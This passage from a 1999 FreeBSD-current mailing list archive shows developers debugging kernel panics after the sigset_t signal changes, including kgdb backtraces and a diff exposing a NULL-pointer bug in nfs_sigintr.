#6  0xc0c12eb5 in ?? ()
#7  0xc0c11c55 in ?? ()
#8  0xc0236642 in syscall (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, 
      tf_edi = 677678720, tf_esi = 677674201, tf_ebp = -1077946400, 
      tf_isp = -924450860, tf_ebx = 677674201, tf_edx = -1077946464, 
      tf_ecx = -1077946464, tf_eax = 106, tf_trapno = 12, tf_err = 2, 
      tf_eip = 677666503, tf_cs = 31, tf_eflags = 582, tf_esp = -1077946504, 
      tf_ss = 47}) at ../../i386/i386/trap.c:1056
#9  0xc02241b1 in Xint0x80_syscall ()
#10 0x28644564 in ?? ()
(kgdb) up 5
#5  0xc017ad2c in namei (ndp=0xc8e5fe34) at ../../kern/vfs_lookup.c:91
91		ndp->ni_cnd.cn_cred = ndp->ni_cnd.cn_proc->p_ucred;
(kgdb) list
86		struct uio auio;
87		int error, linklen;
88		struct componentname *cnp = &ndp->ni_cnd;
89		struct proc *p = cnp->cn_proc;
90	
91		ndp->ni_cnd.cn_cred = ndp->ni_cnd.cn_proc->p_ucred;
92		KASSERT(cnp->cn_cred && cnp->cn_proc, ("namei: bad cred/proc"));
93		KASSERT((cnp->cn_nameiop & (~OPMASK)) == 0,
94		    ("namei: nameiop contaminated with flags"));
95		KASSERT((cnp->cn_flags & OPMASK) == 0,
(kgdb) print ndp
$1 = (struct nameidata *) 0xc8e5fe34
(kgdb) print *ndp
$2 = {ni_dirp = 0xc0d2b000 "/compat/linux/etc/ld.so.cache", 
  ni_segflg = UIO_SYSSPACE, ni_startdir = 0xc046d730, ni_rootdir = 0xc0462000, 
  ni_topdir = 0x871c000, ni_vp = 0xc8e5fe8c, ni_dvp = 0xc0233db8, 
  ni_pathlen = 3370408552, 
  ni_next = 0x871c000 "<Key>BackSpace\nosfDelete:<Key>Delete\nosfInsert:<Key>Insert\nosfAddMode:Shift <Key>F8\nosfHelp:<Key>F1\nosfMenu:Shift<Key>F10\nosfMenuBar:<Key>F10", ni_loopcnt = 0, ni_cnd = {cn_nameiop = 64, cn_flags = 3370394816, 
    cn_proc = 0x7, cn_cred = 0xc8e5ff00, cn_pnbuf = 0x0, 
    cn_nameptr = 0xc8e8076c "\034læÈ4\bèÈ\b\aèÈ\030\aèÈ", 
    cn_namelen = -1071400512, cn_hash = 3224050208, cn_consume = -924450988}}
(kgdb) print cnp
$3 = (struct componentname *) 0xc8e5fe5c
(kgdb) print *cnp
$4 = {cn_nameiop = 64, cn_flags = 3370394816, cn_proc = 0x7, 
  cn_cred = 0xc8e5ff00, cn_pnbuf = 0x0, 
  cn_nameptr = 0xc8e8076c "\034læÈ4\bèÈ\b\aèÈ\030\aèÈ", 
  cn_namelen = -1071400512, cn_hash = 3224050208, cn_consume = -924450988}
(kgdb) print namei_zone
$5 = (struct vm_zone *) 0xc0b3ed80
(kgdb) print *namei_zone
$6 = {zlock = {lock_data = 0}, zitems = 0xc8df3000, zfreecnt = 16, 
  zfreemin = 4, znalloc = 19713, zkva = 0, zpagecount = 0, zpagemax = 0, 
  zmax = 0, ztotal = 16, zsize = 1024, zalloc = 2, zflags = 0, zallocflag = 2, 
  zobj = 0x0, zname = 0xc025801f "NAMEI", znext = 0xc0756980}
(kgdb) print auio
$7 = {uio_iov = 0xc8e5ff80, uio_iovcnt = -1062066432, uio_offset = 3235033088, 
  uio_resid = -1059934208, uio_segflg = 677674201, uio_rw = 3233885669, 
  uio_procp = 0x28647cd9}
(kgdb) quit
myhakas# exit
exit

Thanks
-- 

Vallo Kallaste
vallo@matti.ee


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 11: 5:30 1999
Delivered-To: freebsd-current@freebsd.org
Received: from troutmask.apl.washington.edu (troutmask.apl.washington.edu [128.95.76.54])
	by hub.freebsd.org (Postfix) with ESMTP id 124BE15934
	for <freebsd-current@freebsd.org>; Wed, 29 Sep 1999 11:04:53 -0700 (PDT)
	(envelope-from sgk@troutmask.apl.washington.edu)
Received: (from sgk@localhost)
	by troutmask.apl.washington.edu (8.9.3/8.9.1) id LAA22082
	for freebsd-current@freebsd.org; Wed, 29 Sep 1999 11:10:17 -0700 (PDT)
	(envelope-from sgk)
From: Steve Kargl <sgk@troutmask.apl.washington.edu>
Message-Id: <199909291810.LAA22082@troutmask.apl.washington.edu>
Subject: warning: new signal snafu
To: freebsd-current@freebsd.org (FreeBSD Current)
Date: Wed, 29 Sep 1999 11:10:17 -0700 (PDT)
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Current users,

Here's an addendum to Marcel's HEADS-UP about the
new signal code.  Marcel stated you need to build and
install a new kernel prior to doing a make world.

You also need to be careful about loading the old
linux module when you reboot because you may have
a panic.  This may apply to the iBCS2 and svr4
modules as well.

-- 
Steve


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 11: 5:39 1999
Delivered-To: freebsd-current@freebsd.org
Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87])
	by hub.freebsd.org (Postfix) with ESMTP id EEFF715954
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 11:05:02 -0700 (PDT)
	(envelope-from dcs@newsguy.com)
Received: from newsguy.com (p25-dn02kiryunisiki.gunma.ocn.ne.jp [210.163.200.122])
	by peach.ocn.ne.jp (8.9.1a/OCN) with ESMTP id DAA09854;
	Thu, 30 Sep 1999 03:04:48 +0900 (JST)
Message-ID: <37F25324.FC471EEC@newsguy.com>
Date: Thu, 30 Sep 1999 02:57:56 +0900
From: "Daniel C. Sobral" <dcs@newsguy.com>
X-Mailer: Mozilla 4.6 [en] (Win98; I)
X-Accept-Language: en,pt-BR,ja
MIME-Version: 1.0
To: Marcel Moolenaar <marcel@scc.nl>
Cc: current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <37F23064.98EEBC67@scc.nl>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Marcel Moolenaar wrote:
> 
> These libraries either a) have one of the modified structures
> visible in the interface, or b) use sigset_t internally and
> may cause breakage if new binaries are used against libraries
> that don't have the sigset_t change. This not an immediate
> issue, but will be as soon as applications start using the
> new range to its fullest.

Without really wanting to get into this discussion, the version
bumps if an old binary cannot use a new library, not the other way
around. Alas, this is all I'll be saying. Interested parties can
refer to the recent discussion+flame war on the subject.

--
Daniel C. Sobral			(8-DCS)
dcs@newsguy.com
dcs@freebsd.org

	Rule 69: Do unto other's code as you'd have it do unto yours




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 11:17:12 1999
Delivered-To: freebsd-current@freebsd.org
Received: from solaris.matti.ee (solaris.matti.ee [194.126.98.135])
	by hub.freebsd.org (Postfix) with ESMTP id 890DF1590F
	for <freebsd-current@freebsd.org>; Wed, 29 Sep 1999 11:16:19 -0700 (PDT)
	(envelope-from vallo@matti.ee)
Received: from myhakas.matti.ee (myhakas.matti.ee [194.126.114.87])
	by solaris.matti.ee (8.9.3/8.9.3) with ESMTP id VAA20165;
	Wed, 29 Sep 1999 21:16:05 +0300 (EET DST)
Received: by myhakas.matti.ee (Postfix, from userid 1000)
	id DF6C8F0; Wed, 29 Sep 1999 21:16:17 +0300 (EEST)
Date: Wed, 29 Sep 1999 21:16:17 +0300
From: Vallo Kallaste <vallo@matti.ee>
To: Marcel Moolenaar <marcel@scc.nl>
Cc: freebsd-current@freebsd.org,
	Alfred Perlstein <bright@wintelcom.net>
Subject: Re: Repeatable panic in current, cause Netscape
Message-ID: <19990929211617.A16594@myhakas.matti.ee>
Reply-To: vallo@matti.ee
References: <19990929112518.A484@myhakas.matti.ee> <37F24F9A.AE0676B2@scc.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.6i
In-Reply-To: <37F24F9A.AE0676B2@scc.nl>; from Marcel Moolenaar on Wed, Sep 29, 1999 at 07:42:50PM +0200
Organization: =?iso-8859-1?Q?AS_Matti_B=FCrootehnika?=
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Wed, Sep 29, 1999 at 07:42:50PM +0200, Marcel Moolenaar <marcel@scc.nl> wrote:

> > The latest -current system crashes while starting up Netscape, mine
> > version is 4.61, Linux one. It's fully repeatable in my case. I got
> > crash dump and here's my dmesg and gdb trace:
> 
> Make sure that the linux module is as uptodate as the kernel is. As a
> rule of thumb: rebuild the modules you use when you rebuild the kernel.
> 
> If that doesn't help in this case, continue debugging :-)

Thankyou for tip, discovered that my modules are from Sept 17 and I know
I've compiled the kernel several times in between 17 to date. Quick look
at /usr/sup/src-all/checkouts.cvs:. gives me the 26'th. I must have done
cvsup for src-all by accident.
Sorry for false alert, my Netscape works now as usual.

Thanks
-- 

Vallo Kallaste
vallo@matti.ee


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 11:21:20 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP id 1AE7A1599D
	for <current@freebsd.org>; Wed, 29 Sep 1999 11:20:31 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id LAA16915;
	Wed, 29 Sep 1999 11:20:30 -0700 (PDT)
	(envelope-from jdp@polstra.com)
From: John Polstra <jdp@polstra.com>
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id LAA22884;
	Wed, 29 Sep 1999 11:20:30 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Date: Wed, 29 Sep 1999 11:20:30 -0700 (PDT)
Message-Id: <199909291820.LAA22884@vashon.polstra.com>
To: marcel@scc.nl
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <37F23064.98EEBC67@scc.nl>
References: <37F23064.98EEBC67@scc.nl>
Organization: Polstra & Co., Seattle, WA
Cc: current@freebsd.org
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

In article <37F23064.98EEBC67@scc.nl>, Marcel Moolenaar  <marcel@scc.nl> wrote:
> 
> Alpha users are invited to test the changes since I've not been able to
> do that myself. I've done all I possibly could do to make this a
> success.

It looks like real bad news for the Alpha. :-(  I built and
installed the kernel as instructed, and then started a make
buildworld.  That died soon with this:

    ===> usr.bin
    "/a/src/usr.bin/Makefile", line 223: Unclosed conditional/for loop
    "/a/src/usr.bin/Makefile", line 223: Unclosed conditional/for loop
    "/a/src/usr.bin/Makefile", line 223: 1 open conditional
    "/a/src/usr.bin/Makefile", line 223: 1 open conditional
    make: fatal errors encountered -- cannot continue
    make: fatal errors encountered -- cannot continue
    *** Error code 1
    *** Error code 1

I suspect it's caused by the trailing backslash in the "doscmd" line
near the end:

    .if ${MACHINE_ARCH} == "i386"
    # Things that don't compile on alpha or are aout specific:
    SUBDIR+=ar \ 
	    brandelf \
	    gcore \ 
	    gprof4 \
	    nm \ 
	    ranlib \
	    sasc \
	    size \  
	    strings \
	    strip  
    #       doscmd \
    .endif  

Anyway, when the make buildworld failed, I tried to do a "cvs
status" or some such thing, which caused amd to attempt to mount the
repository from a different machine.  Wham, instant panic, and it
trashed out one of my filesystems _thoroughly_ -- 1000 files and 10
MB in lost+found. :-(

Once I got things patched up again with a little chewing gum, I was
able to get a core dump.  It overflowed the kernel stack with
zillions of recursive calls to nfs_sigintr:

    #37 0xfffffc0000409404 in nfs_sigintr (nmp=0x0, rep=0x0, p=0x0)
	at ../../nfs/nfs_socket.c:1504
    #38 0xfffffc0000409404 in nfs_sigintr (nmp=0x0, rep=0x0, p=0x0)
	at ../../nfs/nfs_socket.c:1504
    #39 0xfffffc0000409404 in nfs_sigintr (nmp=0x0, rep=0x0, p=0x0)
	at ../../nfs/nfs_socket.c:1504
    #40 0xfffffc0000409404 in nfs_sigintr (nmp=0x0, rep=0x0, p=0x0)
	at ../../nfs/nfs_socket.c:1504
    #41 0xfffffc0000409404 in nfs_sigintr (nmp=0x0, rep=0x0, p=0x0)
	at ../../nfs/nfs_socket.c:1504
    #42 0xfffffc0000409404 in nfs_sigintr (nmp=0x0, rep=0x0, p=0x0)
	at ../../nfs/nfs_socket.c:1504
    #43 0xfffffc0000409404 in nfs_sigintr (nmp=0x0, rep=0x0, p=0x0)
	at ../../nfs/nfs_socket.c:1504
    #44 0xfffffc0000409404 in nfs_sigintr (nmp=0x0, rep=0x0, p=0x0)
	at ../../nfs/nfs_socket.c:1504

I haven't found the bottom of the stack yet (11000 frames and
counting ...).  Let me know if you'd like some additional info.

John
-- 
  John Polstra                                               jdp@polstra.com
  John D. Polstra & Co., Inc.                        Seattle, Washington USA
  "No matter how cynical I get, I just can't keep up."        -- Nora Ephron


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 11:27: 6 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP id ECBCE15991
	for <current@freebsd.org>; Wed, 29 Sep 1999 11:26:53 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id LAA16940;
	Wed, 29 Sep 1999 11:26:52 -0700 (PDT)
	(envelope-from jdp@polstra.com)
From: John Polstra <jdp@polstra.com>
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id LAA22912;
	Wed, 29 Sep 1999 11:26:52 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Date: Wed, 29 Sep 1999 11:26:52 -0700 (PDT)
Message-Id: <199909291826.LAA22912@vashon.polstra.com>
To: rb@gid.co.uk
Subject: Re: my repository is broken (more)
In-Reply-To: <l0302090ab417f4fbdd0e@[194.32.164.2]>
References: <l0302090ab417f4fbdd0e@[194.32.164.2]>
Organization: Polstra & Co., Seattle, WA
Cc: current@freebsd.org
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

In article <l0302090ab417f4fbdd0e@[194.32.164.2]>, Bob Bishop
<rb@gid.co.uk> wrote:

> I now suspect that cvsup.uk.freebsd.org isn't up-to-date. Anyone
> know anything?

Yes, I heard from the maintainer that its updates had been failing for
a few days due to a configuration error.  I believe it's fixed again
now.

BTW, if you suspect problems at a CVSup mirror, be sure to tell the
maintainer.  They're all listed in the FreeBSD Handbook.

John
-- 
  John Polstra                                               jdp@polstra.com
  John D. Polstra & Co., Inc.                        Seattle, Washington USA
  "No matter how cynical I get, I just can't keep up."        -- Nora Ephron


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 11:49: 6 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP id 7A313150D0
	for <current@freebsd.org>; Wed, 29 Sep 1999 11:48:50 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id LAA17063;
	Wed, 29 Sep 1999 11:48:50 -0700 (PDT)
	(envelope-from jdp@polstra.com)
From: John Polstra <jdp@polstra.com>
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id LAA22988;
	Wed, 29 Sep 1999 11:48:48 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Date: Wed, 29 Sep 1999 11:48:48 -0700 (PDT)
Message-Id: <199909291848.LAA22988@vashon.polstra.com>
To: marcel@scc.nl
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <37F23064.98EEBC67@scc.nl>
References: <37F23064.98EEBC67@scc.nl>
Organization: Polstra & Co., Seattle, WA
Cc: current@freebsd.org
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Following up on my previous mail regarding the panic on the Alpha,
I've been looking at the diff for the code in question, in
"src/sys/nfs/nfs_socket.c":

@@ -1501,14 +1502,16 @@
        struct nfsreq *rep;
        register struct proc *p;
 {
+       sigset_t tmpset;
 
+       tmpset = p->p_siglist;
+       SIGSETNAND(tmpset, p->p_sigmask);
+       SIGSETNAND(tmpset, p->p_sigignore);
        if (rep && (rep->r_flags & R_SOFTTERM))
                return (EINTR);
        if (!(nmp->nm_flag & NFSMNT_INT))
                return (0);
-       if (p && p->p_siglist &&
-           (((p->p_siglist & ~p->p_sigmask) & ~p->p_sigignore) &
-           NFSINT_SIGMASK))
+       if (p && SIGNOTEMPTY(p->p_siglist) && NFSINT_SIGMASK(tmpset))
                return (EINTR);
        return (0);
 }

It looks like the old code was prepared for "p" to be NULL, but the
new code assumes it is non-NULL.

GDB is _still_ looking for the bottom of the stack.  If it ever
finds it, I'll send that part of the backtrace. :-)

John
-- 
  John Polstra                                               jdp@polstra.com
  John D. Polstra & Co., Inc.                        Seattle, Washington USA
  "No matter how cynical I get, I just can't keep up."        -- Nora Ephron


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 11:51:26 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21])
	by hub.freebsd.org (Postfix) with ESMTP id BBE8C15145
	for <current@freebsd.org>; Wed, 29 Sep 1999 11:51:00 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.12 #1)
	id 11WOq3-000AUQ-00; Wed, 29 Sep 1999 18:52:27 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id UAA17514;
	Wed, 29 Sep 1999 20:50:53 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F25F8D.5687E677@scc.nl>
Date: Wed, 29 Sep 1999 20:50:53 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: John Polstra <jdp@polstra.com>
Cc: current@freebsd.org
Subject: Re: HEADS UP: sigset_t changes committed
References: <37F23064.98EEBC67@scc.nl> <199909291820.LAA22884@vashon.polstra.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

John Polstra wrote:
> 
> I suspect it's caused by the trailing backslash in the "doscmd" line
> near the end:
> 
>             strip
>     #       doscmd \
>     .endif

It doesn't give me any problems...

> Anyway, when the make buildworld failed, I tried to do a "cvs
> status" or some such thing, which caused amd to attempt to mount the
> repository from a different machine.  Wham, instant panic, and it
> trashed out one of my filesystems _thoroughly_ -- 1000 files and 10
> MB in lost+found. :-(

<speechless>

> Once I got things patched up again with a little chewing gum, I was
> able to get a core dump.  It overflowed the kernel stack with
> zillions of recursive calls to nfs_sigintr:
> 
>     #37 0xfffffc0000409404 in nfs_sigintr (nmp=0x0, rep=0x0, p=0x0)
>         at ../../nfs/nfs_socket.c:1504
>     #38 0xfffffc0000409404 in nfs_sigintr (nmp=0x0, rep=0x0, p=0x0)
>         at ../../nfs/nfs_socket.c:1504
>     #39 0xfffffc0000409404 in nfs_sigintr (nmp=0x0, rep=0x0, p=0x0)
>         at ../../nfs/nfs_socket.c:1504
>     #40 0xfffffc0000409404 in nfs_sigintr (nmp=0x0, rep=0x0, p=0x0)
>         at ../../nfs/nfs_socket.c:1504
>     #41 0xfffffc0000409404 in nfs_sigintr (nmp=0x0, rep=0x0, p=0x0)
>         at ../../nfs/nfs_socket.c:1504
>     #42 0xfffffc0000409404 in nfs_sigintr (nmp=0x0, rep=0x0, p=0x0)
>         at ../../nfs/nfs_socket.c:1504
>     #43 0xfffffc0000409404 in nfs_sigintr (nmp=0x0, rep=0x0, p=0x0)
>         at ../../nfs/nfs_socket.c:1504
>     #44 0xfffffc0000409404 in nfs_sigintr (nmp=0x0, rep=0x0, p=0x0)
>         at ../../nfs/nfs_socket.c:1504
> 
> I haven't found the bottom of the stack yet (11000 frames and
> counting ...).  Let me know if you'd like some additional info.

Yes please. Looking at the code, it seems to me that nmp shouldn't be 0.
What I like to know is, if sendsig/sigreturn is somehow involved. A bad
stack can do all sorts of nasty things.

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 11:56:36 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dt014n8c.san.rr.com (dt011n66.san.rr.com [204.210.13.102])
	by hub.freebsd.org (Postfix) with ESMTP id 6FF5515913
	for <current@FreeBSD.org>; Wed, 29 Sep 1999 11:55:57 -0700 (PDT)
	(envelope-from Doug@gorean.org)
Received: from localhost (doug@localhost)
	by dt014n8c.san.rr.com (8.9.3/8.8.8) with ESMTP id LAA31697;
	Wed, 29 Sep 1999 11:55:23 -0700 (PDT)
	(envelope-from Doug@gorean.org)
Date: Wed, 29 Sep 1999 11:55:23 -0700 (PDT)
From: Doug <Doug@gorean.org>
X-Sender: doug@dt014n8c.san.rr.com
To: Marcel Moolenaar <marcel@scc.nl>
Cc: current@FreeBSD.org
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <37F23064.98EEBC67@scc.nl>
Message-ID: <Pine.BSF.4.10.9909291153030.31379-100000@dt014n8c.san.rr.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Wed, 29 Sep 1999, Marcel Moolenaar wrote:

> I just finished committing the sigset_t changes I worked on for the last
> 5 weeks.
> 
> Before attempting to build world, you must make and install a new
> kernel. The new kernel will contain new syscalls that are needed during
> build world. doscmd is currently not being build because it needs fixing
> first.

	Is there any way at all that we can change this process so that
building the kernel first is not required? Those of us involved in
educating users about the make world process spend a lot of time telling
them not to do this. It's amazing how long and how tenaciously "one-time"
exceptions like this stick in their minds. 

	That said, I think that your commit messages were models of
excellence, and this work looks like something that will benefit the
project for a long time down the road.

Thanks,

Doug
-- 
"Stop it, I'm gettin' misty." 

    - Mel Gibson as Porter, "Payback"



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 11:58:59 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP id 509FD15959
	for <current@freebsd.org>; Wed, 29 Sep 1999 11:57:23 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id LAA17103;
	Wed, 29 Sep 1999 11:57:23 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id LAA23006;
	Wed, 29 Sep 1999 11:57:22 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Message-ID: <XFMail.990929115722.jdp@polstra.com>
X-Mailer: XFMail 1.3 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
In-Reply-To: <37F25F8D.5687E677@scc.nl>
Date: Wed, 29 Sep 1999 11:57:22 -0700 (PDT)
Organization: Polstra & Co., Inc.
From: John Polstra <jdp@polstra.com>
To: Marcel Moolenaar <marcel@scc.nl>
Subject: Re: HEADS UP: sigset_t changes committed
Cc: current@freebsd.org
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Marcel Moolenaar wrote:
> John Polstra wrote:
>>             strip
>>     #       doscmd \
>>     .endif
> 
> It doesn't give me any problems...

Weird!  It doesn't seem like the Alpha make should be different.

>> I haven't found the bottom of the stack yet (11000 frames and
>> counting ...).  Let me know if you'd like some additional info.
> 
> Yes please. Looking at the code, it seems to me that nmp shouldn't be 0.

Yes, I agree.  The old code also assumed it wouldn't be 0.

> What I like to know is, if sendsig/sigreturn is somehow involved. A
> bad stack can do all sorts of nasty things.

GDB is still looking for the bottom of the stack. :-( I did a "bt -30"
to try to find it.  Do any of you know the address of the outermost
frame of the kernel stack on the Alpha?  If I knew that then I could
probably find the region of interest faster than GDB.

John
---
  John Polstra                                               jdp@polstra.com
  John D. Polstra & Co., Inc.                        Seattle, Washington USA
  "No matter how cynical I get, I just can't keep up."        -- Nora Ephron



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 12: 0:30 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-10.mail.nl.demon.net [194.159.73.20])
	by hub.freebsd.org (Postfix) with ESMTP id CEFAE15913
	for <current@freebsd.org>; Wed, 29 Sep 1999 11:59:39 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.02 #1)
	id 11WOx0-0006ga-00; Wed, 29 Sep 1999 18:59:38 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id UAA17872;
	Wed, 29 Sep 1999 20:59:37 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F26199.56F69F79@scc.nl>
Date: Wed, 29 Sep 1999 20:59:37 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: John Polstra <jdp@polstra.com>
Cc: current@freebsd.org
Subject: Re: HEADS UP: sigset_t changes committed
References: <37F23064.98EEBC67@scc.nl> <199909291848.LAA22988@vashon.polstra.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

John Polstra wrote:
> 
> Following up on my previous mail regarding the panic on the Alpha,
> I've been looking at the diff for the code in question, in
> "src/sys/nfs/nfs_socket.c":
> 
> @@ -1501,14 +1502,16 @@
>         struct nfsreq *rep;
>         register struct proc *p;
>  {
> +       sigset_t tmpset;
> 
> +       tmpset = p->p_siglist;
> +       SIGSETNAND(tmpset, p->p_sigmask);
> +       SIGSETNAND(tmpset, p->p_sigignore);
>         if (rep && (rep->r_flags & R_SOFTTERM))
>                 return (EINTR);
>         if (!(nmp->nm_flag & NFSMNT_INT))
>                 return (0);
> -       if (p && p->p_siglist &&
> -           (((p->p_siglist & ~p->p_sigmask) & ~p->p_sigignore) &
> -           NFSINT_SIGMASK))
> +       if (p && SIGNOTEMPTY(p->p_siglist) && NFSINT_SIGMASK(tmpset))
>                 return (EINTR);
>         return (0);
>  }
> 
> It looks like the old code was prepared for "p" to be NULL, but the
> new code assumes it is non-NULL.

Thanks, I overlooked that one. I'll fix it right away.

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 12: 3:54 1999
Delivered-To: freebsd-current@freebsd.org
Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91])
	by hub.freebsd.org (Postfix) with ESMTP id A60781593E
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 12:03:15 -0700 (PDT)
	(envelope-from nate@mt.sri.com)
Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100])
	by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id NAA24196;
	Wed, 29 Sep 1999 13:03:00 -0600 (MDT)
	(envelope-from nate@rocky.mt.sri.com)
Received: by mt.sri.com (SMI-8.6/SMI-SVR4)
	id NAA24329; Wed, 29 Sep 1999 13:02:58 -0600
Date: Wed, 29 Sep 1999 13:02:58 -0600
Message-Id: <199909291902.NAA24329@mt.sri.com>
From: Nate Williams <nate@mt.sri.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: John Polstra <jdp@polstra.com>
Cc: marcel@scc.nl, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <199909291848.LAA22988@vashon.polstra.com>
